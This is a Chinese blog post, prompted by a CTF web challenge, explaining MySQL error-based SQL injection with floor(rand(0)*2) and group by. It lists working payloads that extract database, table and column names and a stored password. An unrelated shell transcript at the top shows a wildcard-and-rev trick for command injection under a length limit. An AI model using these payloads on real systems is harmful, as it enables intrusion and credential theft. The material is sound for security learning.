从ctf开始去研究mysql报错注入

2017-11-08  本文已影响75人  jessica1123
root@HSH1000070537:~/babyfirst/1# ls                
root@HSH1000070537:~/babyfirst/1# >dir      #构造dir命令,这个命令是可以列出文件        
root@HSH1000070537:~/babyfirst/1# ls        
dir
root@HSH1000070537:~/babyfirst/1# >kt-      #这里都是为了构造出 ls -tk >e 做准备
root@HSH1000070537:~/babyfirst/1# >sl       #因为后面要用到rev命令,rev是可以把文件每行内容倒叙输出的
root@HSH1000070537:~/babyfirst/1# >e\>      #所以先构造 e> kt- sl
root@HSH1000070537:~/babyfirst/1# ls        #   
dir  e>  kt-  sl                            #
root@HSH1000070537:~/babyfirst/1# *         #这里用到了通配符 * ,使用了通配符的地方会匹配符合表达式的全部项,并把他们当做一条shell命令执行
e>  kt-  sl                                 #比如这个地方的 * 会匹配当前目录下的所有项,就相当于执行了 `dir  e>  kt-  sl`  
root@HSH1000070537:~/babyfirst/1# *>v       #这里把它写到文件v 里,这个地方之所以写到v里面是有一定原因的,为了满足字典序,并且和rev相配合
root@HSH1000070537:~/babyfirst/1# cat v     
e>  kt-  sl
root@HSH1000070537:~/babyfirst/1# rev v     #rev把 v的内容反着输出了
ls  -tk  >e
root@HSH1000070537:~/babyfirst/1# *v        #这里*v 匹配到的是 `v` 不是正确的命令 
-bash: v: command not found
root@HSH1000070537:~/babyfirst/1# >rev      #构造 rev命令
root@HSH1000070537:~/babyfirst/1# ls
dir  e>  kt-  rev  sl  v
root@HSH1000070537:~/babyfirst/1# *v        #匹配命令 `rev v`
ls  -tk  >e
root@HSH1000070537:~/babyfirst/1# *v>m      #把 ls -tk >e 写入 m 文件
root@HSH1000070537:~/babyfirst/1# ls
dir  e>  kt-  m  rev  sl  v
root@HSH1000070537:~/babyfirst/1# cat m
ls  -tk  >e
root@HSH1000070537:~/babyfirst/1# sh m      #执行 m里的 `ls -tk >e`
root@HSH1000070537:~/babyfirst/1# ls
dir  e  e>  kt-  m  rev  sl  v
root@HSH1000070537:~/babyfirst/1# cat e     #发现确实执行了命令,把内容输出到 e了
e
m
rev
v
e>
sl
kt-
dir
root@HSH1000070537:~/babyfirst/1# ^C


前几天做一道ctf的web题目,测试了一下发现存在sql注入,但是由于本人技术比较捉急,试了半天也没有找出来要怎么注入的。之后,看了一下官方的writeup,才知道原来是报错注入。

writeup

image.png

由于我之前虽然知道有报错注入这种注入类型,但是没有实际去了解过。因此,在看过wp之后,去网上查了资料总结一下。

在此参考了两篇文章:
Mysql报错注入原理分析(count()、rand()、group by)
SQL注入之报错型注入

当输入

SELECT COUNT(*),(concat((Floor(rand(0)*2)),'~',version(),'~'))a from user group by a;

这时,数据库报错了,同时把查询的内容(concat((Floor(rand(0)*2)),'~',version(),'~'))显示出来了

image.png

通过这种办法,我们知道了当前的数据库版本为10.1.26-MariaDB-1(旁边的两个~是为了划清数据的界限而故意加进去的,concat()能把结果连接成一个字符串)

接下来我们就讲一讲报错注入的原理,详细内容请查看
Mysql报错注入原理分析(count()、rand()、group by)

原理分析:

image.png
#输入以下sql查询语句
select count(*),(floor(rand(0)*2))a from user group by a;

#报错,其中把a字段的内容暴露出来了

具体为什么会报错,请看上面引用的那篇文章,大概就是


image.png image.png image.png

再回到我们之前的例子

SELECT COUNT(*),(concat((Floor(rand(0)*2)),'~',version(),'~'))a from user group by a;

#这里面,version()返回的是数据库的版本信息,是一个固定的值,
而floor(rand(0)*2)返回的值是不固定的,可能是0或者1.
#cancat()这四个字段之后,返回的字符串实际上有两种可能
#这个字符串就相当于原来的floor(rand(0)*2),因此在报错注入的时
候会被暴露出来,这样子我们就可以查询该数据库的信息了

因此,只要构造这样一个语句

SELECT COUNT(*),(concat((Floor(rand(0)*2)),'~',(子查询的语句),'~'))a from 某表 group by a;

就可以注入得到自己想要的数据了。
需要注意的是以下几个条件:

1.某表是数据库中的一个表,应该确保这个表中有超过三条记录,常用的是
2.子查询语句部分只能返回一条记录,可以使用limit 来限制返回的记录
3.最后应该用group by语句进行排列,order by语句不行
4.'~'符号不是必须的,可以换成自己喜欢的,或者不用

数据库的信息:


数据库的相关信息
image.png

报错爆出来的数据:


数据库名&数据库版本 表名 image.png

通过报错注入,我们知道了一下信息:
1.有一个名为test的数据库
2.test数据库下面有一个名为user的表
3.该user表有三个字段:id,name,pass

通过这些信息,我们可以读出想要知道的值,比如


image.png

找到用户id=1的密码pass的值为123

上面用到的相关查询语句:

#查找数据库名
SELECT COUNT(*),(concat((Floor(rand(0)*2)),'~',database(),'~'))a from user group by a;
#查找表名
SELECT COUNT(*),(concat((Floor(rand(0)*2)),'~',(select (table_name) from information_schema.tables where table_schema='test' limit 0,1),'~'))a from user group by a;
#查找列名
SELECT COUNT(*),(concat((Floor(rand(0)*2)),'~',(select (column_name) from information_schema.columns where table_schema='test' and table_name='user' limit 0,1),'~'))a from user group by a; 
#查找值
SELECT COUNT(*),(concat((Floor(rand(0)*2)),'~',(select pass from user where id=1 limit 0,1),'~'))a from user group by a; 
#其中 limit 0,1 表示的返回第一条记录,limit 1,1返回的第二条记录,以此类推

相关文章:

Mysql报错注入原理分析(count()、rand()、group by)
SQL注入之报错型注入

上一篇 下一篇

猜你喜欢

热点阅读